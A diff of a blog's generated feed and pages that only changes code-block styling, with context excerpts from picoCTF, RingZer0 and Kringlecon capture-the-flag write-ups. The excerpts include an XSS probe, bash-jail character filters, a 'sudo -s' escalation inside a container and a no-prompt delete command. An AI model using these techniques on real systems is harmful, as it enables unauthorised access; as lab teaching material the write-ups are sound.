&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SecretGenerator&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Logger logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LoggerFactory.&lt;span style="color:#a6e22e"&gt;getLogger&lt;/span&gt;(SecretGenerator.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; String SERVER_SECRET_FILENAME &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;server_secret.txt&amp;#34;&lt;/span&gt;;
@@ -750,7 +750,7 @@ We are also given the source code of the application.&lt;/p&gt;
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
@@ -802,7 +802,7 @@ about.&lt;/p&gt;
&lt;a href="http://mercury.picoctf.net:60022/index.html"&gt;http://mercury.picoctf.net:60022/index.html&lt;/a&gt;
where we find a simple textbox prompting us to submit the flag.&lt;/p&gt;
&lt;p&gt;Looking at the page source by pressing &lt;code&gt;ctrl&lt;/code&gt; &lt;code&gt;u&lt;/code&gt;, we see that it is sourcing javascript code from &lt;code&gt;rTEuOmSfG3.js&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While examining the javascript, we will notice that it is obfuscated and
packed. Put this through &lt;a href="https://lelinhtinh.github.io/de4js/"&gt;de4js&lt;/a&gt; to
prettify it.&lt;/p&gt;</description></item><item><title>Kringlecon 2022 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</link><pubDate>Mon, 09 Jan 2023 10:36:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</guid><description>&lt;p&gt;This writeup is rather haphazard as I jumped around from one place to another
@@ -812,7 +812,7 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item><item><title>Pixelated</title><link>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</link><pubDate>Tue, 22 Nov 2022 09:25:20 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</guid><description>&lt;p&gt;This challenge gives use two images and asks us if we can make a flag out of them.
At first glance, both the images look like noise. Upon a quick web lookup of
&lt;a href="https://en.wikipedia.org/wiki/Visual_cryptography"&gt;visual cryptography&lt;/a&gt;, it appears
@@ -832,17 +832,17 @@ given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter &lt;code&gt;r&lt;/code&gt;. Let&amp;rsquo;s write
a go program to do that.&lt;/p&gt;
&lt;p&gt;First let&amp;rsquo;s declare the url as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page and defer closing its body once the program ends.&lt;/p&gt;</description></item><item><title>Hash Me Please</title><link>https://lavafroth.is-a.dev/post/r0-hash-me-please/</link><pubDate>Fri, 19 Aug 2022 09:57:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/r0-hash-me-please/</guid><description>&lt;p&gt;In this RingZer0 challenge, we are asked to visit
&lt;a href="http://challenges.ringzer0team.com:10013/"&gt;http://challenges.ringzer0team.com:10013/&lt;/a&gt; and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
&lt;a href="http://challenges.ringzer0team.com:10013/?r=response"&gt;http://challenges.ringzer0team.com:10013/?r=&lt;em&gt;response&lt;/em&gt;&lt;/a&gt;
and to do that, we&amp;rsquo;ll be using some Golang.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s declare the URI as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page using the &lt;code&gt;Get&lt;/code&gt; function from the &lt;code&gt;http&lt;/code&gt; standard
library, checking for errors along the way.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Fatalln&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
@@ -860,7 +860,7 @@ Before you walk away saying, &lt;a href="https://www.youtube.com/watch?v=RXS1sJm
The redirection, however, is done using javascript instead of regular HTTP status codes like 302.
This meant, one couldn&amp;rsquo;t simply run the following and expect to see a video.&lt;/p&gt;</description></item><item><title>Bash Jail 3</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</link><pubDate>Sun, 24 Jul 2022 12:29:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level3/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdksc&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -885,7 +885,7 @@ This meant, one couldn&amp;rsquo;t simply run the following and expect to see a
which means we cannot exfiltrate the flag from &lt;code&gt;stderr&lt;/code&gt; since it is blocked.&lt;/p&gt;</description></item><item><title>Bash Jail 2</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</link><pubDate>Sun, 24 Jul 2022 12:28:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level2/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="challenge-bash-code"&gt;Challenge bash code&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdks&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#39;&amp;#39;&amp;amp;&amp;#39;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -912,7 +912,7 @@ string among &lt;code&gt;b&lt;/code&gt;,&lt;code&gt;d&lt;/code&gt;,&lt;code&gt;k
return 1, we get a &amp;ldquo;restricted characters&amp;rdquo; message and no further processing happens.&lt;/p&gt;</description></item><item><title>Bash Jail 1</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</link><pubDate>Sun, 24 Jul 2022 12:27:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Upon SSHing into the box, we are told that the flag is located at &lt;code&gt;/home/level1/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Challenge bash code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Your input:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read input
@@ -929,7 +929,7 @@ installing the suite of tools.&lt;/p&gt;
&lt;h1 id="operation-oni"&gt;Operation Oni&lt;/h1&gt;
&lt;p&gt;The challenge has an associated instance which we&amp;rsquo;ll need to log into using SSH using
the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are provided with a compressed disk image &lt;code&gt;disk.img.gz&lt;/code&gt; which we&amp;rsquo;ll decompress with:&lt;/p&gt;</description></item><item><title>JAuth</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</link><pubDate>Tue, 22 Feb 2022 14:49:34 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</guid><description>&lt;p&gt;The challenge description states that most web application developers use third party components without testing their security.
It mentions some past affected companies, then asks us to identify and exploit the vulnerable component for the challenge at &lt;a href="http://saturn.picoctf.net:52025/"&gt;http://saturn.picoctf.net:52025/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The goal is to become an &lt;code&gt;admin&lt;/code&gt;.
@@ -942,12 +942,12 @@ We are provied with the username &lt;code&gt;test&lt;/code&gt; and the password
&lt;p&gt;Since the mileage for second step might vary from person to person, I&amp;rsquo;ll elaborate on the first step.&lt;/p&gt;
&lt;p&gt;I chose &lt;a href="https://codeberg.org/jbruchon/jdupes"&gt;jdupes&lt;/a&gt; for deleting the duplicates because it&amp;rsquo;s open-source and is cross platform.&lt;/p&gt;
&lt;p&gt;For a given folder we would run the following to wipe the duplicates:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will recursively delete all the duplicates except the source file without prompting for a confirmation.
It will also consider zero length files to be duplicates.&lt;/p&gt;</description></item><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py

View File

@@ -10,17 +10,17 @@ We can clone this the HTTPS way:'><meta name=author content><link rel="preload s
solving different unrelated challenges. Although the writeup covers all the
challenges, it definitely is not sequential. Just wanted to point that out
before diving in.</p><h3 id=clone-with-a-difference>Clone with a Difference</h3><p>This challenge wants us to clone a git repository. It&rsquo;s using git with ssh for
cloning which doesn&rsquo;t seem to work.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git clone git@haugfactory.com:asnowball/aws_scripts.git
</span></span></code></pre></div><p>We can clone this the HTTPS way:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git clone https://haugfactory.com/asnowball/aws_scripts.git
cloning which doesn&rsquo;t seem to work.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git clone git@haugfactory.com:asnowball/aws_scripts.git
</span></span></code></pre></div><p>We can clone this the HTTPS way:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git clone https://haugfactory.com/asnowball/aws_scripts.git
</span></span></code></pre></div><p>The challenge asks us to enter the last word of the readme. We can get that by
reading the last line, replacing the spaces with newlines and then reading the
last line of that output (effectively the last word).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>tail -n1 README.md | sed <span style=color:#e6db74>&#39;s/ /\n/g&#39;</span> | tail -n1
last line of that output (effectively the last word).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>tail -n1 README.md | sed <span style=color:#e6db74>&#39;s/ /\n/g&#39;</span> | tail -n1
</span></span></code></pre></div><pre tabindex=0><code>maintainers.
</code></pre><p>Now we run the following to submit the word.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>runtoanswer maintainers
</code></pre><p>Now we run the following to submit the word.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>runtoanswer maintainers
</span></span></code></pre></div><h3 id=prison-escape>Prison Escape</h3><p>We are dropped into a docker container evident by the presence of the
<code>/.dockerenv</code> file. Running <code>sudo -l</code> tells us that we can run any command as
the superuser (using <code>sudo</code>) without supplying a password.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>sudo -l
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>User samways may run the following commands on grinchum-land:
the superuser (using <code>sudo</code>) without supplying a password.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>sudo -l
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span>User samways may run the following commands on grinchum-land:
</span></span><span style=display:flex><span> (ALL) NOPASSWD: ALL
</span></span></code></pre></div><p>We will run <code>sudo -s</code> to escalate our privileges to <code>root</code>.
Let&rsquo;s inspect what disks we have available by executing <code>fdisk -l</code>.</p><pre tabindex=0><code>Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
